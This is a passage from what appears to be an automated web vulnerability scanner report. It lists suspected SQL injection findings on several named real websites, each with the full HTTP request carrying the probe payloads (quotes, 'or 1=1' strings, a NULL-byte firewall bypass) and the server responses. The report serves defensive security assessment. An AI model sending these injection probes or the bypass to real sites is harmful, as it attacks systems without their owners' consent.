<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.67. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/l10n.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes/js'/l10n.js?ver=20101110 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:34 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.68. http://h.ackack.net/wp-includes/js/l10n.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://h.ackack.net
Path:   /wp-includes/js/l10n.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 3, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /wp-includes/js/l10n.js'?ver=20101110 HTTP/1.1
Host: h.ackack.net
Proxy-Connection: keep-alive
Referer: http://h.ackack.net/coldfusion-mysql-xsses.html/x2258057137'%20or%201%3d1--%20
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sat, 26 Feb 2011 02:32:36 GMT
Server: Apache
X-Powered-By: PHP/5.3.5
Vary: Cookie
X-Pingback: http://h.ackack.net/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 26 Feb 2011 02:32:36 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31854

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >

<head profile="http://gmpg.org/xfn/11">
<meta http-e
...[SNIP]...
<li class="page page-postgresql ">
...[SNIP]...

1.69. http://health.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://health.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 40966992%20or%201%3d1--%20 and 40966992%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=140966992%20or%201%3d1--%20 HTTP/1.1
Host: health.glam.com
Proxy-Connection: keep-alive
Referer: http://health.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:37:15 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 21016
X-Varnish: 303281840
Expires: Thu, 21 Apr 2011 01:37:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:19 GMT
Connection: close
Set-Cookie: PHPSESSID=infrjenhlpbptrlcjrbsvna431; path=/

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover='showSubMenu(12)' onm
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=140966992%20or%201%3d2--%20 HTTP/1.1
Host: health.glam.com
Proxy-Connection: keep-alive
Referer: http://health.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:37:20 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2391
X-Varnish: 303281996
Expires: Thu, 21 Apr 2011 01:37:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:37:20 GMT
Connection: close
Set-Cookie: PHPSESSID=6fo5okrfououqo16c4b6u7j5f6; path=/

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://diet.glam.com/' title='Diet &amp; Nutrition'>Diet &amp; Nutrition</a></li><li class=''><a href='http://fitness.glam.com/' title='Fitness &amp; Exercise'>Fitness &amp; Exercise</a></li><li class=''><a href='http://betahealth.glam.com/' title='Conditions &amp; Care'>Conditions &amp; Care</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts'
...[SNIP]...

1.70. http://ib.adnxs.com/seg [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://ib.adnxs.com
Path:   /seg

Issue detail

The t parameter appears to be vulnerable to SQL injection attacks. The payloads 72427688%20or%201%3d1--%20 and 72427688%20or%201%3d2--%20 were each submitted in the t parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /seg?add=25761&t=272427688%20or%201%3d1--%20 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.reputation.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII3I4BEAoYCSAJKAkwsvqt7QQQsvqt7QQYCA..; uuid2=2724386019227846218; anj=Kfu=8fG5EfCxrx)0s]#%2L_'x%SEV/hnKD-GW_55dWhK/!!svq

Response 1

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 20-Apr-2011 01:47:57 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 18-Jul-2011 01:47:57 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 18-Jul-2011 01:47:57 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG68%Cxrx)0s]#%2L_'x%SEV/hnJPh4FSlRQHqgV=Rr7(d+tn3IZ5dYk^WA1.#'$yWMx*vWM_?:!#nt[_R)y-; path=/; expires=Mon, 18-Jul-2011 01:47:57 GMT; domain=.adnxs.com; HttpOnly
Location: http://cm.g.doubleclick.net/pixel?nid=appnexus1
Date: Tue, 19 Apr 2011 01:47:57 GMT
Content-Length: 0

Request 2

GET /seg?add=25761&t=272427688%20or%201%3d2--%20 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.reputation.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII3I4BEAoYCSAJKAkwsvqt7QQQsvqt7QQYCA..; uuid2=2724386019227846218; anj=Kfu=8fG5EfCxrx)0s]#%2L_'x%SEV/hnKD-GW_55dWhK/!!svq

Response 2

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 20-Apr-2011 01:47:58 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 18-Jul-2011 01:47:58 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 18-Jul-2011 01:47:58 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG68%Cxrx)0s]#%2L_'x%SEV/hnJPh4FSlRQHqgVGli^UO9N+dx4#Y6gc_2t(RiF9Ts-oL7?25+; path=/; expires=Mon, 18-Jul-2011 01:47:58 GMT; domain=.adnxs.com; HttpOnly
Location: http://apnxscm.ac3.msn.com:81/CACMSH.ashx?&t=1
Date: Tue, 19 Apr 2011 01:47:58 GMT
Content-Length: 0


1.71. http://insider.espn.go.com/mlb/blog [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://insider.espn.go.com
Path:   /mlb/blog

Issue detail

The name parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /mlb/blog?name=stark_jayson%00'&id=6154671 HTTP/1.1
Host: insider.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1 (redirected)

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:11:36 GMT
Content-Type: text/html
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW01
Set-Cookie: SWID=1403E81B-E844-450D-8016-A9D7C84C3D1C; path=/; expires=Sat, 26-Feb-2031 02:11:36 GMT; domain=.go.com;
Cache-Expires: Fri, 25 Feb 2011 23:30:15 GMT
Content-Length: 140777
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; expires=Tue, 08 Mar 2011 02:11:36 GMT; Path=/; Domain=.go.com
Connection: close
Via: 8810-05/06
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<i>In the history of baseball, with one bizarre additional exception I'll mention in a bit, only two pitchers with 10 or more winning seasons have never had a losing season: Spud Chandler, and Andy Pettitte.</p>
...[SNIP]...

Request 2

GET /mlb/blog?name=stark_jayson%00''&id=6154671 HTTP/1.1
Host: insider.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2 (redirected)

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:11:38 GMT
Location: http://sports.espn.go.com/espn/blog/main
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: EGW05
Set-Cookie: SWID=EEFF394D-7A80-49A6-8F43-AA925F0275F6; path=/; expires=Sat, 26-Feb-2031 02:11:38 GMT; domain=.go.com;
Content-Length: 197
Connection: close
Via: 8810-05/06

<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY>This document has moved to <A HREF="http://sports.espn.go.com/espn/blog/main
">http://sports.espn.go.com/espn/blog/main
</A>.<BODY></HTML>

1.72. http://projects.webappsec.org/SQL-Injection [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;
Referer: http://www.google.com/search?hl=en&q='

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:29 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:29 GMT
Cache-Control: no-cache
Content-Length: 29015

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.73. http://projects.webappsec.org/SQL-Injection [User-Agent HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:27 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:27 GMT
Cache-Control: no-cache
Content-Length: 29016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.74. http://projects.webappsec.org/SQL-Injection [__qca cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The __qca cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __qca cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461'; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:18 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:18 GMT
Cache-Control: no-cache
Content-Length: 29016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.75. http://projects.webappsec.org/SQL-Injection [__utma cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1'; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:13 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:13 GMT
Cache-Control: no-cache
Content-Length: 29028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.76. http://projects.webappsec.org/SQL-Injection [__utmb cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmb cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519';

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:20 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:20 GMT
Cache-Control: no-cache
Content-Length: 29016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.77. http://projects.webappsec.org/SQL-Injection [__utmc cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /SQL-Injection HTTP/1.1
Host: projects.webappsec.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=133238479.1298670519.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pbj=c141224b73feb9193565e6eeb03e001298670485; pb_perfmon=deleted; __utma=133238479.1282775871.1298670519.1298670519.1298670519.1; __utmc=133238479'; __qca=P0-1048600453-1298670520461; __utmb=133238479.1.10.1298670519;

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Sat, 26 Feb 2011 02:15:16 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Expires: Fri, 25 Feb 2011 02:15:15 GMT
Cache-Control: no-cache
Content-Length: 29016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
<meta http-equiv="cont
...[SNIP]...
<pre style="margin-left:40px;">Microsoft OLE DB Provider for ODBC Drivers error
</pre>
...[SNIP]...
<pre style="margin-left:40px;">[Microsoft][ODBC SQL Server Driver][SQL Server]All
</pre>
...[SNIP]...

1.78. http://projects.webappsec.org/SQL-Injection [__utmz cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://projects.webappsec.org
Path:   /SQL-Injection

Issue detail

